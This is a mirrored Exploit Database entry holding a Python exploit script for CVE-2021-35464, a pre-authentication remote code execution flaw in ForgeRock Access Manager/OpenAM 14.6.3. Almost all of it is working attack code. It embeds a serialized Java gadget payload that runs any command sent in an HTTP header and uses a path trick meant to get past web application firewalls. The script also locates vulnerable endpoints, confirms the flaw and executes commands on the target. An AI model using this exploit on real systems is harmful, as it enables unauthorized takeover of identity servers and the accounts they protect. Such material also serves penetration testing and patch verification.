ForgeRock Access Manager 14.6.3 – Remote Code Execution (RCE) (Unauthenticated)

• Exploit Database
• 229 阅读

• 作者： Photubias
  日期： 2021-07-16
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/50131/
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  # Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) # Date: 2021-07-14 # Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be # Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244 # Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/ # Version: [1] OpenAM 14.6.3 #[2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021 # Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10 # CVE: CVE-2021-35464   #!/usr/bin/env python3   &apos;&apos;&apos; Copyright 2021 Photubias(c)   This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.   This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details.   You should have received a copy of the GNU General Public License along with this program.If not, see <http://www.gnu.org/licenses/>.   File name CVE-2021-35464.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be   This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-)   Rewritten from and full credits to @Y4er_ChaBug: https://github.com/Y4er/openam-CVE-2021-35464 and of course the discoverer @artsploit: https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 Created using https://github.com/frohoff/ysoserial &apos;&apos;&apos;   import urllib.request, urllib.parse, ssl, sys, optparse   ## Static vars; change at will, but recommend leaving as is sURL = &apos;http://192.168.0.100:7080/openam&apos; sEndpoint = &apos;ccversion/Version&apos; sEndpoint = &apos;oauth2/..;/ccversion/Version&apos; ## This bypasses potential WAFs iTimeout = 5 strSerializedPayload = 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mcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJAAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$&apos;   ## Ignore unsigned certs, if any because OpenAM is default HTTP ssl._create_default_https_context = ssl._create_unverified_context   def checkParams(options, args): if args: sHost = args[0] else: sHost = input(&apos;[?] Please enter the URL [&apos;+sURL+&apos;] : &apos;) if sHost == &apos;&apos;: sHost = sURL if not sHost[-1:] == &apos;/&apos;: sHost += &apos;/&apos; if not sHost[:4].lower() == &apos;http&apos;: sHost = &apos;http://&apos; + sHost if options.command: sCMD = options.command else: sCMD = &apos;&apos; if options.proxy: sProxy = options.proxy else: sProxy = &apos;&apos; return (sHost, sCMD, sProxy)   def findEndpoint(oOpener, sHost, sProxy): def testEndpoint(sURL): oRequest = urllib.request.Request(sURL) if sProxy: oRequest.set_proxy(sProxy, &apos;http&apos;) try: oResponse = oOpener.open(oRequest, timeout = iTimeout) except: return False if oResponse.code == 200: if &apos;ForgeRock&apos; in oResponse.read().decode(errors=&apos;ignore&apos;): print(&apos;[+] Found potential vulnerable endpoint: &apos; + sURL) return True return False   if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint elif testEndpoint(sHost + &apos;openam/&apos; + sEndpoint): return sHost + &apos;openam/&apos; + sEndpoint elif testEndpoint(sHost + &apos;OpenAM/&apos; + sEndpoint): return sHost + &apos;OpenAM/&apos; + sEndpoint elif testEndpoint(sHost + &apos;openam/ccversion/Version&apos;): return sHost + &apos;openam/ccversion/Version&apos; elif testEndpoint(sHost + &apos;OpenAM/ccversion/Version&apos;): return sHost + &apos;OpenAM/ccversion/Version&apos; else: return &apos;&apos;   def testVuln(oOpener, sURL, sProxy): oResponse = runCmd(oOpener, sURL, sProxy, &apos;echo CVE-2021-35464&apos;) ## The response is actually not well formed HTTP, needs manual formatting bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes try: oResponse.readinto(bResp) except: pass #print(bResp.split(b&apos;\x00&apos;)[0]) if &apos;CVE-2021-35464&apos; in bResp.decode(): return True else: return False   def runVuln(oOpener, sURL, sProxy, sCMD): oResponse = runCmd(oOpener, sURL, sProxy, sCMD) ## The response is actually not well formed HTTP, needs manual formatting bResp = bytearray(4096) try: oResponse.readinto(bResp) except: pass## The readinto still should have worked sResp = bResp.split(b&apos;\x00&apos;)[0].decode() print(sResp)   def runCmd(oOpener, sURL, sProxy, sCMD): oData = b&apos;jato.pageSession=&apos; + strSerializedPayload oHeaders = {&apos;cmd&apos; : sCMD} oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData) if sProxy: oRequest.set_proxy(sProxy, &apos;http&apos;) return oOpener.open(oRequest, timeout = iTimeout)   def main(): usage = ( &apos;usage: %prog [options] URL \n&apos; &apos;Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n&apos; &apos;Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n&apos; &apos;When in doubt, just enter a single IP address&apos; )   parser = optparse.OptionParser(usage=usage) parser.add_option(&apos;--command&apos;, &apos;-c&apos;, dest=&apos;command&apos;, help=&apos;Optional: The command to run remotely&apos;) parser.add_option(&apos;--proxy&apos;, &apos;-p&apos;, dest=&apos;proxy&apos;, help=&apos;Optional: HTTP proxy to use, e.g. 127.0.0.1:8080&apos;)   ## Get or ask for the vars (options, args) = parser.parse_args() (sHost, sCMD, sProxy) = checkParams(options, args)   ## Verify reachability print(&apos;[!] Verifying reachability of &apos; + sHost) oOpener = urllib.request.build_opener() oRequest = urllib.request.Request(sHost) if sProxy: oRequest.set_proxy(sProxy, &apos;http&apos;) try: oResponse = oOpener.open(oRequest, timeout = iTimeout) except urllib.error.HTTPError: pass except: sys.exit(&apos;[-] Error, host &apos; + sHost + &apos; seems to be unreachable&apos;) print(&apos;[+] Endpoint &apos; + sHost + &apos; reachable&apos;)   ## Find endpoint print(&apos;[!] Finding correct OpenAM endpoint&apos;) sEndpoint = findEndpoint(oOpener, sHost, sProxy) if sEndpoint == &apos;&apos;: sys.exit(&apos;[-] Error finding the correct OpenAM endpoint or not vulnerable.&apos;)   ## Verify vulnerability if testVuln(oOpener, sEndpoint, sProxy): print(&apos;[+] !SUCCESS! Host &apos; + sHost + &apos; is vulnerable to CVE-2021-35464&apos;) else: sys.exit(&apos;[-] Not vulnerable or this implementation does not work&apos;) if sCMD: print(&apos;[+] Running command "&apos; + sCMD + &apos;" now:\n&apos;) runVuln(oOpener, sEndpoint, sProxy, sCMD) else: print(&apos;[!] All done&apos;)   if __name__ == "__main__": main()